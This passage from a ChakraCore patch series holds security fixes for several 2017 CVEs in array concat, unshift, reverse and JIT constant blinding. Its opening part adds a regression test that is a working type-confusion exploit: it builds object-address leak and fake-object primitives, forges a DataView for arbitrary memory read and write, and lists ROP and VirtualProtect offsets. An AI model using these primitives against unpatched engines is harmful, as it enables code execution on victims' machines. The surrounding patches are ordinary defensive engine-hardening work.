type id*/,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0); + g_lo = 0; + g_hi = 0; + var b = [1.1,2.2]; + dv = new DataView(new ArrayBuffer(8)); + + var vt_to_chakrabase = 0x592d88; + var chakrabase_to_threadCtxPtr = 0x735eb0; + var chakrabase_to_retPtr = 0x1ca99d; + var chakrabase_to_rop = 0x1028e5; + var chakrabase_to_vp = 0x1028bb; + + function read_obj_address(a,gg,c,d){ + a[0] = 1.2; + try{gg[d] = c} catch(e) {} + a[1] = 2.2; + return a[0]; + } + + function float_to_uint(num){ + f = new Float64Array(1); + f[0] = num; + uint = new Uint32Array(f.buffer); + return uint[1] * 0x100000000 + uint[0]; + } + function uint_to_float(lo,hi){ + u = new Uint32Array(2); + u[0] = lo; + u[1] = hi; + g_lo = u[0]; + g_hi = u[1]; + f = new Float64Array(u.buffer); + return f[0]; + } + function fake_dataview(lo,hi){ + int_lo = lo > 0x80000000? -(0x100000000-lo):lo; + evil_array[0] = 0x38; + evil_array[1] = 0; + + evil_array[2] = int_lo; + evil_array[3] = hi; + + evil_array[4] = 0; + evil_array[5] = 0; + evil_array[6] = 0; + evil_array[7] = 0; + + evil_array[8] = 0x200; + + evil_array[9] = 0; + + evil_array[10] = int_lo - 0x38; + evil_array[11] = hi; + + evil_array[12] = 0; + evil_array[13] = 0; + + //alert(evil_array[8].toString(16)) + evil_array[14] = 0x41414141; + evil_array[15] = 0x42424242; + //Array.prototype.slice.call(evil_array); + } + function Read32(addr){ + evil_array[14] = addr & 0xffffffff; + evil_array[15] = Math.floor(addr / 0x100000000); + return dv.getUint32.call(evil_dv,0,true); + } + function Write32(addr,data){ + evil_array[14] = addr & 0xffffffff; + evil_array[15] = Math.floor(addr / 0x100000000); + dv.setUint32.call(evil_dv,0,data,true); + } + function Read64(addr){ + evil_array[14] = addr & 0xffffffff; + evil_array[15] = Math.floor(addr / 0x100000000); + result = dv.getUint32.call(evil_dv,0,true) + dv.getUint32.call(evil_dv,4,true) * 0x100000000; + return result; + } + function Write64(addr,data_lo,data_hi){ + evil_array[14] = addr & 0xffffffff; + evil_array[15] = Math.floor(addr / 0x100000000); + dv.setUint32.call(evil_dv,0,data_lo,true); + dv.setUint32.call(evil_dv,4,data_hi,true); + } + function main(){ + var a =[1.1,2.2]; + var gg = new Float64Array(100); + for(var i = 0;i < 0x10000;i++){ + read_obj_address(a,gg,1.1+i,4); + } + evil = {valueOf: () => { + a[0] = evil_array; //leak any object address + return 0; + }} + + evil_array_slots_address = float_to_uint(read_obj_address(a,gg,evil,4))+0x58; + + var fake_obj_address = uint_to_float(evil_array_slots_address & 0xffffffff,Math.floor(evil_array_slots_address / 0x100000000)).toString(); + var fake_obj_str = "function fake_obj(b,gg,c,d){b[0] = 1.333;try{gg[d] = c} catch(e) {};b[1] = 2.22222222;b[0] = " + fake_obj_address +";}"; + eval(fake_obj_str); + + + for(var i = 0;i < 0x10000;i++){ + fake_obj(b,gg,1.1+i,4); + } + evil2 = {valueOf: () => { + b[0] = {}; + return 0; + }} + fake_dataview(g_lo,g_hi); + fake_obj(b,gg,evil2,4); + evil_dv = b[0]; + } + main(); + + WScript.Echo('pass'); \ No newline at end of file diff --git a/test/typedarray/rlexe.xml b/test/typedarray/rlexe.xml index 35110711816..207c3ae7738 100644 --- a/test/typedarray/rlexe.xml +++ b/test/typedarray/rlexe.xml @@ -189,6 +189,12 @@ Below test fails with difference in space. Investigate the cause and re-enable t typedarray + + + FloatHelperAccess.js + typedarray + + subarray.js From f95aa762f89adb4c5ae187e2ee11c37add784ee9 Mon Sep 17 00:00:00 2001 From: Suwei Chen Date: Tue, 9 May 2017 15:47:17 -0700 Subject: [PATCH 03/12] [CVE-2017-0252] CopyNativeIntArrayElementsToVar overflow Array length mutation introduced by copy-from-prototype reentrancy can cause heap overflow in concat fast paths. Fix by excluding copy-from-prototype cases from fast paths. Adjust unit tests to avoid excessively long run time. --- lib/Runtime/Library/JavascriptArray.cpp | 24 +++++++++------ test/Array/concat2.baseline | 40 ++++++++++++------------- test/Array/concat2.js | 2 +- test/es6/es6toLength.js | 6 ++-- 4 files changed, 39 insertions(+), 33 deletions(-) diff --git a/lib/Runtime/Library/JavascriptArray.cpp b/lib/Runtime/Library/JavascriptArray.cpp index 3263a040074..3ac89c23154 100644 --- a/lib/Runtime/Library/JavascriptArray.cpp +++ b/lib/Runtime/Library/JavascriptArray.cpp @@ -3066,7 +3066,7 @@ namespace Js } if (pDestArray && JavascriptArray::IsDirectAccessArray(aItem) && JavascriptArray::IsDirectAccessArray(pDestArray) - && BigIndex(idxDest + JavascriptArray::FromVar(aItem)->length).IsSmallIndex()) // Fast path + && BigIndex(idxDest + JavascriptArray::FromVar(aItem)->length).IsSmallIndex() && !JavascriptArray::FromVar(aItem)->IsFillFromPrototypes()) // Fast path { if (JavascriptNativeIntArray::Is(aItem)) { @@ -3200,10 +3200,11 @@ namespace Js for (uint idxArg = 0; idxArg < args.Info.Count; idxArg++) { Var aItem = args[idxArg]; + BOOL isConcatSpreadable = false; if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled()) { - JS_REENTRANT(jsReentLock, BOOL isConcatSpreadable = JavascriptOperators::IsConcatSpreadable(aItem)); + JS_REENTRANT(jsReentLock, isConcatSpreadable = JavascriptOperators::IsConcatSpreadable(aItem)); if (!JavascriptNativeIntArray::Is(pDestArray)) { ConcatArgs(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest); @@ -3222,7 +3223,7 @@ namespace Js } } - if (JavascriptNativeIntArray::Is(aItem)) // Fast path + if (JavascriptNativeIntArray::Is(aItem) && !JavascriptNativeIntArray::FromVar(aItem)->IsFillFromPrototypes()) // Fast path { JavascriptNativeIntArray* pItemArray = JavascriptNativeIntArray::FromVar(aItem); @@ -3258,7 +3259,9 @@ namespace Js else { JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray); - JS_REENTRANT(jsReentLock, ConcatArgs(pVarDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest)); + BigIndex length; + JS_REENTRANT(jsReentLock, length = OP_GetLength(aItem, scriptContext), + ConcatArgs(pVarDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, isConcatSpreadable, length)); return pVarDestArray; } } @@ -3276,10 +3279,11 @@ namespace Js for (uint idxArg = 0; idxArg < args.Info.Count; idxArg++) { Var aItem = args[idxArg]; + BOOL isConcatSpreadable = false; if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled()) { - JS_REENTRANT(jsReentLock, BOOL isConcatSpreadable = JavascriptOperators::IsConcatSpreadable(aItem)); + JS_REENTRANT(jsReentLock, isConcatSpreadable = JavascriptOperators::IsConcatSpreadable(aItem)); if (!JavascriptNativeFloatArray::Is(pDestArray)) { ConcatArgs(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest); @@ -3299,10 +3303,10 @@ namespace Js } } - bool converted; + bool converted = false; if (JavascriptArray::IsAnyArray(aItem) || remoteTypeIds[idxArg] == TypeIds_Array) { - if (JavascriptNativeIntArray::Is(aItem)) // Fast path + if (JavascriptNativeIntArray::Is(aItem) && !JavascriptArray::FromVar(aItem)->IsFillFromPrototypes()) // Fast path { JavascriptNativeIntArray *pIntArray = JavascriptNativeIntArray::FromVar(aItem); @@ -3310,7 +3314,7 @@ namespace Js idxDest = idxDest + pIntArray->length; } - else if (JavascriptNativeFloatArray::Is(aItem)) + else if (JavascriptNativeFloatArray::Is(aItem) && !JavascriptArray::FromVar(aItem)->IsFillFromPrototypes()) { JavascriptNativeFloatArray* pItemArray = JavascriptNativeFloatArray::FromVar(aItem); @@ -3322,7 +3326,9 @@ namespace Js { JavascriptArray *pVarDestArray = JavascriptNativeFloatArray::ConvertToVarArray(pDestArray); - JS_REENTRANT(jsReentLock, ConcatArgs(pVarDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest)); + BigIndex length; + JS_REENTRANT(jsReentLock, length = OP_GetLength(aItem, scriptContext), + ConcatArgs(pVarDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, isConcatSpreadable, length)); return pVarDestArray; } diff --git a/test/Array/concat2.baseline b/test/Array/concat2.baseline index b7afadd0654..23da298ab0f 100644 --- a/test/Array/concat2.baseline +++ b/test/Array/concat2.baseline @@ -1,26 +1,26 @@ -------concat Small------------- - concat 101, 102, 103, 104, 105 -length: 2147483647 - 2147483641: 100 - 2147483642: 101 - 2147483643: 102 - 2147483644: 103 - 2147483645: 104 - 2147483646: 105 +length: 505 + 499: 100 + 500: 101 + 501: 102 + 502: 103 + 503: 104 + 504: 105 - arr.concat(arr) -length: 4294967294 - 2147483641: 100 - 2147483642: 101 - 2147483643: 102 - 2147483644: 103 - 2147483645: 104 - 2147483646: 105 - 4294967288: 100 - 4294967289: 101 - 4294967290: 102 - 4294967291: 103 - 4294967292: 104 - 4294967293: 105 +length: 1010 + 499: 100 + 500: 101 + 501: 102 + 502: 103 + 503: 104 + 504: 105 + 1004: 100 + 1005: 101 + 1006: 102 + 1007: 103 + 1008: 104 + 1009: 105 -------test prototype lookup------------- a: 200,101,202,203,204,105,106,207 r: 200,101,202,203,204,105,106,207,300,301,302,303,304 diff --git a/test/Array/concat2.js b/test/Array/concat2.js index 590f09ae14b..ae7ae3ed72a 100644 --- a/test/Array/concat2.js +++ b/test/Array/concat2.js @@ -38,7 +38,7 @@ function test_concat(size) { } echo("-------concat Small-------------"); -test_concat(2147483642); +test_concat(500); // Fix for MSRC 33319 changes concat to skip a fast path if the index we're copying into is a BigIndex. // Disable the large portion of this test since this change makes such a test run for hours. diff --git a/test/es6/es6toLength.js b/test/es6/es6toLength.js index c3ba3c8c5d3..d32bde0dcd4 100644 --- a/test/es6/es6toLength.js +++ b/test/es6/es6toLength.js @@ -12,12 +12,12 @@ var tests = [ { var c = []; c[0] = 1; - c[4294967293] = 2; + c[100] = 2; var oNeg = { length : -1, 0 : 3, 1: 4, [Symbol.isConcatSpreadable] : true}; c = c.concat(oNeg); assert.areEqual(1, c[0], "confirm indices of array concated to did not change") - assert.areEqual(2, c[4294967293], "confirm indices of array concated to did not change"); - assert.areEqual(undefined, c[4294967294], "Length of oNeg is coerced to 0 nothing is concated here"); + assert.areEqual(2, c[100], "confirm indices of array concated to did not change"); + assert.areEqual(undefined, c[101], "Length of oNeg is coerced to 0 nothing is concated here"); } }, { From 0440807190fa814b8c903320385ce35896b823b3 Mon Sep 17 00:00:00 2001 From: Suwei Chen Date: Tue, 9 May 2017 16:28:11 -0700 Subject: [PATCH 04/12] [CVE-2017-0238] OOM in Array.unshift can leave array in an inconsistent state Array segment allocation induces OOM that leaves length > size that can be exploited. Move code that updates segment size to after allocation; Replace "length <= size" Assert with AssertOrFailFast in JavascriptArray and SparseSegment; Add length vs. size check and FailFast throughout JavascriptArray and SparseSegment where segment length or size are being updated. --- lib/Runtime/Language/JavascriptOperators.cpp | 3 ++ lib/Runtime/Library/JavascriptArray.cpp | 53 ++++++++++++++------ lib/Runtime/Library/JavascriptArray.inl | 16 ++++++ lib/Runtime/Library/SparseArraySegment.cpp | 4 +- lib/Runtime/Library/SparseArraySegment.h | 1 + lib/Runtime/Library/SparseArraySegment.inl | 13 ++--- 6 files changed, 66 insertions(+), 24 deletions(-) diff --git a/lib/Runtime/Language/JavascriptOperators.cpp b/lib/Runtime/Language/JavascriptOperators.cpp index 4a7d79b52e5..5808ccafb61 100644 --- a/lib/Runtime/Language/JavascriptOperators.cpp +++ b/lib/Runtime/Language/JavascriptOperators.cpp @@ -5600,6 +5600,7 @@ namespace Js if(count > segment->length) { segment->length = count; + segment->CheckLengthvsSize(); } js_memcpy_s(segment->elements, sizeof(Var) * segment->length, vars->elements, sizeof(Var) * count); @@ -5616,6 +5617,7 @@ namespace Js if(count > segment->length) { segment->length = count; + segment->CheckLengthvsSize(); } js_memcpy_s(segment->elements, sizeof(int32) * segment->length, ints->elements, sizeof(int32) * count); } @@ -5630,6 +5632,7 @@ namespace Js if(count > segment->length) { segment->length = count; + segment->CheckLengthvsSize(); } js_memcpy_s(segment->elements, sizeof(double) * segment->length, doubles->elements, sizeof(double) * count); } diff --git a/lib/Runtime/Library/JavascriptArray.cpp b/lib/Runtime/Library/JavascriptArray.cpp index 3ac89c23154..b801d7d8b12 100644 --- a/lib/Runtime/Library/JavascriptArray.cpp +++ b/lib/Runtime/Library/JavascriptArray.cpp @@ -407,6 +407,7 @@ namespace Js InitArrayFlags(DynamicObjectFlags::InitialArrayValue); SetHeadAndLastUsedSegment(DetermineInlineHeadSegmentPointer(this)); head->size = size; + head->CheckLengthvsSize(); Var fill = Js::JavascriptArray::MissingItem; for (uint i = 0; i < size; i++) { @@ -428,6 +429,7 @@ namespace Js { SetHeadAndLastUsedSegment(DetermineInlineHeadSegmentPointer(this)); head->size = size; + head->CheckLengthvsSize(); ((SparseArraySegment*)head)->FillSegmentBuffer(0, size); } @@ -445,6 +447,7 @@ namespace Js { SetHeadAndLastUsedSegment(DetermineInlineHeadSegmentPointer(this)); head->size = size; + head->CheckLengthvsSize(); ((SparseArraySegment*)head)->FillSegmentBuffer(0, size); } @@ -1604,8 +1607,8 @@ namespace Js int32 ival; // The old segment will have size/2 and length capped by the new size. - seg->size >>= 1; - if (seg == intArray->head || seg->length > (seg->size >>= 1)) + uint32 newSegSize = seg->size >> 1; + if (seg == intArray->head || seg->length > (newSegSize >> 1)) { // Some live elements are being pushed out of this segment, so allocate a new one. SparseArraySegment *newSeg = @@ -1638,6 +1641,9 @@ namespace Js } else { + seg->size = newSegSize >> 1; + seg->CheckLengthvsSize(); + // Now convert the contents that will remain in the old segment. for (i = seg->length - 1; i >= 0; i--) { @@ -1874,7 +1880,7 @@ namespace Js // Shrink? uint32 growFactor = sizeof(Var) / sizeof(int32); - if ((growFactor != 1 && (seg == intArray->head || seg->length > (seg->size /= growFactor))) || + if ((growFactor != 1 && (seg == intArray->head || seg->length > (seg->size / growFactor))) || (seg->next == nullptr && SparseArraySegmentBase::IsLeafSegment(seg, recycler))) { // Some live elements are being pushed out of this segment, so allocate a new one. @@ -1911,6 +1917,9 @@ namespace Js } else { + seg->size = seg->size / growFactor; + seg->CheckLengthvsSize(); + // Now convert the contents that will remain in the old segment. // Walk backward in case we're growing the element size. for (i = seg->length - 1; i >= 0; i--) @@ -2713,6 +2722,7 @@ namespace Js this->ClearElements(next, newSegmentLength); next->next = nullptr; next->length = newSegmentLength; + next->CheckLengthvsSize(); break; } else @@ -2914,6 +2924,7 @@ namespace Js if(itemIndex - next->left == next->length - 1) { --next->length; + next->CheckLengthvsSize(); } else if(next == head) { @@ -5519,6 +5530,7 @@ namespace Js } memmove(head->elements + offset, next->elements, next->length * sizeof(T)); head->length = offset + next->length; + head->CheckLengthvsSize(); pArr->head = head; } head->next = next->next; @@ -5763,6 +5775,7 @@ namespace Js // Fill the newly created sliced array js_memcpy_s(pnewHeadSeg->elements, sizeof(T) * newLen, headSeg->elements + start, sizeof(T) * newLen); pnewHeadSeg->length = newLen; + pnewHeadSeg->CheckLengthvsSize(); Assert(pnewHeadSeg->length <= pnewHeadSeg->size); // Prototype lookup for missing elements @@ -6277,6 +6290,7 @@ namespace Js ValidateSegment(startSeg); #endif JS_REENTRANT(jsReentLock, hybridSort(startSeg->elements, startSeg->length, &cvInfo)); + startSeg->CheckLengthvsSize(); } else { @@ -6313,6 +6327,7 @@ namespace Js else { JS_REENTRANT(jsReentLock, sort(allElements->elements, &allElements->length, scriptContext)); + allElements->CheckLengthvsSize(); } head = allElements; @@ -6362,6 +6377,7 @@ namespace Js ((SparseArraySegment*)head)->elements[i] = undefined; } head->length = newLength; + head->CheckLengthvsSize(); } SetHasNoMissingValues(); this->InvalidateLastUsedSegment(); @@ -6694,6 +6710,7 @@ namespace Js seg->Truncate(seg->left + newHeadLen); // set end elements to null so that when we introduce null elements we are safe } seg->length = newHeadLen; + seg->CheckLengthvsSize(); } // Copy the new elements if (insertLen > 0) @@ -6922,6 +6939,7 @@ namespace Js memmove(startSeg->elements, startSeg->elements + headDeleteLen, sizeof(T) * (startSeg->length - headDeleteLen)); startSeg->left = startSeg->left + headDeleteLen; // We are moving the left ahead to point to the right index startSeg->length = startSeg->length - headDeleteLen; + startSeg->CheckLengthvsSize(); startSeg->Truncate(startSeg->left + startSeg->length); startSeg->EnsureSizeInBound(); // Just truncated, size might exceed next.left } @@ -6981,6 +6999,7 @@ namespace Js } *prevPrevSeg = segInsert; segInsert->length = start + insertLen - segInsert->left; + segInsert->CheckLengthvsSize(); } else { @@ -7428,6 +7447,7 @@ namespace Js memmove(head->elements + unshiftElements, head->elements, sizeof(T) * pArr->head->length); uint32 oldHeadLength = head->length; head->length += unshiftElements; + head->CheckLengthvsSize(); /* Set head segment as the last used segment */ pArr->InvalidateLastUsedSegment(); @@ -7498,8 +7518,6 @@ namespace Js Assert(pArr->length <= MaxArrayLength - unshiftElements); - SparseArraySegmentBase* renumberSeg = pArr->head->next; - bool isIntArray = false; bool isFloatArray = false; @@ -7530,17 +7548,6 @@ namespace Js } } - while (renumberSeg) - { - renumberSeg->left += unshiftElements; - if (renumberSeg->next == nullptr) - { - // last segment can shift its left + size beyond MaxArrayLength, so truncate if so - renumberSeg->EnsureSizeInBound(); - } - renumberSeg = renumberSeg->next; - } - if (isIntArray) { UnshiftHelper(pArr, unshiftElements, args.Values); @@ -7554,6 +7561,19 @@ namespace Js UnshiftHelper(pArr, unshiftElements, args.Values); } + SparseArraySegmentBase* renumberSeg = pArr->head->next; + + while (renumberSeg) + { + renumberSeg->left += unshiftElements; + if (renumberSeg->next == nullptr) + { + // last segment can shift its left + size beyond MaxArrayLength, so truncate if so + renumberSeg->EnsureSizeInBound(); + } + renumberSeg = renumberSeg->next; + } + pArr->InvalidateLastUsedSegment(); pArr->length += unshiftElements; @@ -11143,6 +11163,7 @@ namespace Js dst->left = src->left; dst->length = src->length; dst->size = src->size; + dst->CheckLengthvsSize(); dst->next = src->next; js_memcpy_s(dst->elements, sizeof(T) * dst->size, src->elements, sizeof(T) * src->size); diff --git a/lib/Runtime/Library/JavascriptArray.inl b/lib/Runtime/Library/JavascriptArray.inl index 16c9dc9fb46..331519f032e 100644 --- a/lib/Runtime/Library/JavascriptArray.inl +++ b/lib/Runtime/Library/JavascriptArray.inl @@ -142,6 +142,7 @@ namespace Js head->length = length; } head->size = size; + head->CheckLengthvsSize(); } else { @@ -257,6 +258,7 @@ namespace Js // a variable until it is fully initialized, there is no way for script code to use the array while it still has missing // values. array->head->length = length; + array->head->CheckLengthvsSize(); return array; } @@ -421,6 +423,7 @@ namespace Js } seg->length = offset + 1; + seg->CheckLengthvsSize(); const uint32 itemIndex = seg->left + offset; if (this->length <= itemIndex) { @@ -461,6 +464,7 @@ namespace Js } seg->length = offset + 1; + seg->CheckLengthvsSize(); const uint32 itemIndex = seg->left + offset; if (this->length <= itemIndex) { @@ -715,6 +719,7 @@ SECOND_PASS: { current = ((Js::SparseArraySegment*)head)->GrowByMin(recycler, startIndex + length - head->size); current->length = endIndex + 1; + current->CheckLengthvsSize(); head = current; SetHasNoMissingValues(false); } @@ -724,6 +729,7 @@ SECOND_PASS: current = SparseArraySegment::AllocateSegment(recycler, startIndex, length, (SparseArraySegment *)nullptr); LinkSegments((Js::SparseArraySegment*)startPrev, current); current->length = length; + current->CheckLengthvsSize(); if (current == head) { Assert(startIndex == 0); @@ -762,6 +768,7 @@ SECOND_PASS: } } current->length = startOffset + length; + current->CheckLengthvsSize(); } else { @@ -784,6 +791,7 @@ SECOND_PASS: } } current->length = current->length > (startOffset + length) ? current->length : (startOffset + length); + current->CheckLengthvsSize(); } } else if ((startIndex + 1) <= startSeg->left) @@ -792,6 +800,7 @@ SECOND_PASS: { current = ((Js::SparseArraySegment*)head)->GrowByMin(recycler, startIndex + length - head->size); current->length = endIndex + 1; + current->CheckLengthvsSize(); head = current; } else @@ -804,6 +813,7 @@ SECOND_PASS: SetHasNoMissingValues(); } current->length = length; + current->CheckLengthvsSize(); } } else @@ -823,6 +833,7 @@ SECOND_PASS: } } current->length = startOffset + length; + current->CheckLengthvsSize(); } startSeg = current; @@ -853,6 +864,7 @@ SECOND_PASS: js_memcpy_s(((Js::SparseArraySegment*)current)->elements + startOffset + length, sizeof(T)* growby, ((Js::SparseArraySegment*)endSeg)->elements + endOffset + 1, sizeof(T)* growby); LinkSegments((Js::SparseArraySegment*)startPrev, current); current->length = startOffset + length + growby; + current->CheckLengthvsSize(); } if (current == head && HasNoMissingValues()) { @@ -883,6 +895,7 @@ SECOND_PASS: } } current->length = endIndex + growby + 1; + current->CheckLengthvsSize(); current->next = endSeg->next; } else @@ -1034,6 +1047,7 @@ SECOND_PASS: if (length > head->length) { head->length = length; + head->CheckLengthvsSize(); } if (!HasNoMissingValues()) @@ -1394,6 +1408,7 @@ SECOND_PASS: current = ((Js::SparseArraySegment*)head)->GrowByMin(recycler, itemIndex + 1 - head->size); current->elements[itemIndex] = newValue; current->length = itemIndex + 1; + current->CheckLengthvsSize(); head = current; @@ -1503,6 +1518,7 @@ SECOND_PASS: DebugOnly(VerifyNotNeedMarshal(iValue)); current->elements[indexInt] = iValue; current->length = indexInt + 1; + current->CheckLengthvsSize(); // There is only a head segment in this condition A segment map is not necessary // and most likely invalid at this point. Also we are setting the head and lastUsedSegment // to the same segment. Precedent in the rest of the code base dictates the use of diff --git a/lib/Runtime/Library/SparseArraySegment.cpp b/lib/Runtime/Library/SparseArraySegment.cpp index aa43a3a8cdc..e1e9ffad886 100644 --- a/lib/Runtime/Library/SparseArraySegment.cpp +++ b/lib/Runtime/Library/SparseArraySegment.cpp @@ -30,7 +30,7 @@ namespace Js // if it's not being changed) may cause an AV. size = min(size, nextLeft - left); } - Assert(length <= size); + AssertOrFailFast(length <= size); } // Test if an element value is null/undefined. @@ -125,7 +125,7 @@ namespace Js _this->Truncate(left + newLen); // Truncate to new length (also clears moved elements) } - Assert(length <= size); + AssertOrFailFast(length <= size); return countUndefined; } diff --git a/lib/Runtime/Library/SparseArraySegment.h b/lib/Runtime/Library/SparseArraySegment.h index b95137ce73a..f1e5bcf9433 100644 --- a/lib/Runtime/Library/SparseArraySegment.h +++ b/lib/Runtime/Library/SparseArraySegment.h @@ -28,6 +28,7 @@ namespace Js uint32 RemoveUndefined(ScriptContext* scriptContext); //returns count of undefined removed void EnsureSizeInBound(); + void CheckLengthvsSize() { AssertOrFailFast(this->length <= this->size); } static uint32 GetOffsetOfLeft() { return offsetof(SparseArraySegmentBase, left); } static uint32 GetOffsetOfLength() { return offsetof(SparseArraySegmentBase, length); } diff --git a/lib/Runtime/Library/SparseArraySegment.inl b/lib/Runtime/Library/SparseArraySegment.inl index 40652f0698b..5c1967553c1 100644 --- a/lib/Runtime/Library/SparseArraySegment.inl +++ b/lib/Runtime/Library/SparseArraySegment.inl @@ -16,7 +16,7 @@ namespace Js template SparseArraySegment * SparseArraySegment::Allocate(Recycler* recycler, uint32 left, uint32 length, uint32 size, uint32 fillStart /*= 0*/) { - Assert(length <= size); + AssertOrFailFast(length <= size); Assert(size <= JavascriptArray::MaxArrayLength - left); uint32 bufferSize = UInt32Math::Mul(size); @@ -274,7 +274,7 @@ namespace Js { length = offset + 1; } - Assert(length <= size); + AssertOrFailFast(length <= size); Assert(left + length > left); } @@ -309,6 +309,7 @@ namespace Js } current->elements[offset] = value; current->length = offset + 1; + current->CheckLengthvsSize(); } else { @@ -351,7 +352,7 @@ namespace Js dst = dst->GrowBy(recycler, newLen - dst->size); } dst->length = newLen; - Assert(dst->length <= dst->size); + dst->CheckLengthvsSize(); AssertMsg(srcIndex >= src->left,"src->left > srcIndex resulting in negative indexing of src->elements"); js_memcpy_s(dst->elements + dstIndex - dst->left, sizeof(T) * inputLen, src->elements + srcIndex - src->left, sizeof(T) * inputLen); return dst; @@ -420,7 +421,7 @@ namespace Js template SparseArraySegment* SparseArraySegment::GrowByImpl(Recycler *recycler, uint32 n) { - Assert(length <= size); + AssertOrFailFast(length <= size); Assert(n != 0); uint32 newSize = size + n; @@ -470,7 +471,7 @@ namespace Js template SparseArraySegment* SparseArraySegment::GrowFrontByMaxImpl(Recycler *recycler, uint32 n) { - Assert(length <= size); + AssertOrFailFast(length <= size); Assert(n > 0); Assert(n <= left); Assert(size + n > size); @@ -509,7 +510,7 @@ namespace Js { length = index - left; } - Assert(length <= size); + AssertOrFailFast(length <= size); } From 0cdbf2fe68f452c163ca5307cb9c57b118e966cc Mon Sep 17 00:00:00 2001 From: Akrosh Gandhi Date: Tue, 9 May 2017 16:24:51 -0700 Subject: [PATCH 05/12] [CVE-2017-0228] Segment bug in the ReverseHelper. Segments were getting reversed in the ReverseHelper call. This made the head segment, which is an inlined segment, to be as a next segment. If that segment becomes part of another array (say due to splice) and the original array goes away then the inlined segment will also go away and we potentially holdind the freed memory. Fixed that by detecting the inlined segment and convert to normal segment in the in EntryReverse API. --- lib/Runtime/Library/JavascriptArray.cpp | 58 ++++++++++++++++++++++++- lib/Runtime/Library/JavascriptArray.h | 2 + 2 files changed, 59 insertions(+), 1 deletion(-) diff --git a/lib/Runtime/Library/JavascriptArray.cpp b/lib/Runtime/Library/JavascriptArray.cpp index b801d7d8b12..6264a8b1e3d 100644 --- a/lib/Runtime/Library/JavascriptArray.cpp +++ b/lib/Runtime/Library/JavascriptArray.cpp @@ -5192,6 +5192,42 @@ namespace Js } } + template + void JavascriptArray::CopyHeadIfInlinedHeadSegment(JavascriptArray *array, Recycler *recycler) + { + SparseArraySegmentBase* inlineHeadSegment = nullptr; + bool hasInlineSegment = false; + + if (JavascriptNativeArray::Is(array)) + { + if (JavascriptNativeFloatArray::Is(array)) + { + inlineHeadSegment = DetermineInlineHeadSegmentPointer((JavascriptNativeFloatArray*)array); + } + else if (JavascriptNativeIntArray::Is(array)) + { + inlineHeadSegment = DetermineInlineHeadSegmentPointer((JavascriptNativeIntArray*)array); + } + Assert(inlineHeadSegment); + hasInlineSegment = (array->head == (SparseArraySegment*)inlineHeadSegment); + } + else + { + hasInlineSegment = HasInlineHeadSegment(array->head->length); + } + + if (hasInlineSegment) + { + SparseArraySegment* headSeg = (SparseArraySegment*)array->head; + + SparseArraySegment* newHeadSeg = SparseArraySegment::template AllocateSegmentImpl(recycler, + headSeg->left, headSeg->length, headSeg->size, headSeg->next); + + newHeadSeg = SparseArraySegment::CopySegment(recycler, newHeadSeg, headSeg->left, headSeg, headSeg->left, headSeg->length); + newHeadSeg->next = headSeg->next; + array->head = newHeadSeg; + } + } Var JavascriptArray::EntryReverse(RecyclableObject* function, CallInfo callInfo, ...) { @@ -5289,7 +5325,6 @@ namespace Js // Note : since we are reversing the whole segment below - the functionality is not spec compliant already. length = pArr->length; - SparseArraySegmentBase* seg = pArr->head; SparseArraySegmentBase *prevSeg = nullptr; SparseArraySegmentBase *nextSeg = nullptr; SparseArraySegmentBase *pinPrevSeg = nullptr; @@ -5306,6 +5341,27 @@ namespace Js isFloatArray = true; } + // During the loop below we are going to reverse the segments list. The head segment will become the last segment. + // We have to verify that the current head segment is not the inilined segement, otherwise due to shuffling below, the inlined segment will no longer + // be the head and that can create issue down the line. Create new segment if it is an inilined segment. + if (pArr->head && pArr->head->next) + { + if (isIntArray) + { + CopyHeadIfInlinedHeadSegment(pArr, recycler); + } + else if (isFloatArray) + { + CopyHeadIfInlinedHeadSegment(pArr, recycler); + } + else + { + CopyHeadIfInlinedHeadSegment(pArr, recycler); + } + } + + SparseArraySegmentBase* seg = pArr->head; + while (seg) { nextSeg = seg->next; diff --git a/lib/Runtime/Library/JavascriptArray.h b/lib/Runtime/Library/JavascriptArray.h index f0c46ef8b82..68644a11953 100644 --- a/lib/Runtime/Library/JavascriptArray.h +++ b/lib/Runtime/Library/JavascriptArray.h @@ -553,6 +553,8 @@ namespace Js virtual int32 HeadSegmentIndexOfHelper(Var search, uint32 &fromIndex, uint32 toIndex, bool includesAlgorithm, ScriptContext * scriptContext); + template + static void CopyHeadIfInlinedHeadSegment(JavascriptArray *array, Recycler *recycler); template static void ArraySpliceHelper(JavascriptArray* pNewArr, JavascriptArray* pArr, uint32 start, uint32 deleteLen, From d8ef97d90c231e83db96dc4fdff4b39409f7a9b6 Mon Sep 17 00:00:00 2001 From: Rajat Dua Date: Tue, 9 May 2017 10:54:21 -0700 Subject: [PATCH 06/12] [CVE-2017-0229] Non-blinded constants remaining in jit Fix instances of non-blinded possibly large constants in the jit --- lib/Backend/GlobOpt.cpp | 11 +++++------ lib/Backend/IRBuilder.cpp | 4 ++-- lib/Backend/Lower.cpp | 8 ++++---- lib/Backend/LowerMDShared.cpp | 31 ++++++++++++++++++++++++++----- lib/Backend/LowerMDShared.h | 2 +- 5 files changed, 38 insertions(+), 18 deletions(-) diff --git a/lib/Backend/GlobOpt.cpp b/lib/Backend/GlobOpt.cpp index df41355c0c5..8e44e84c3e3 100644 --- a/lib/Backend/GlobOpt.cpp +++ b/lib/Backend/GlobOpt.cpp @@ -16014,7 +16014,7 @@ GlobOpt::AttachBoundsCheckData(IR::Instr* instr, IR::Opnd* lowerBound, IR::Opnd* instr->SetSrc2(upperBound); if (offset != 0) { - instr->SetDst(IR::IntConstOpnd::New(offset, TyInt32, instr->m_func, true)); + instr->SetDst(IR::IntConstOpnd::New(offset, TyInt32, instr->m_func)); } return instr; } @@ -17307,8 +17307,7 @@ GlobOpt::OptArraySrc(IR::Instr * *const instrRef) : IR::IntConstOpnd::New( hoistInfo.IndexConstantBounds().LowerBound(), TyInt32, - instr->m_func, - true); + instr->m_func); lowerBound->SetIsJITOptimizedReg(true); IR::Opnd* upperBound = IR::RegOpnd::New(headSegmentLengthSym, headSegmentLengthSym->GetType(), instr->m_func); upperBound->SetIsJITOptimizedReg(true); 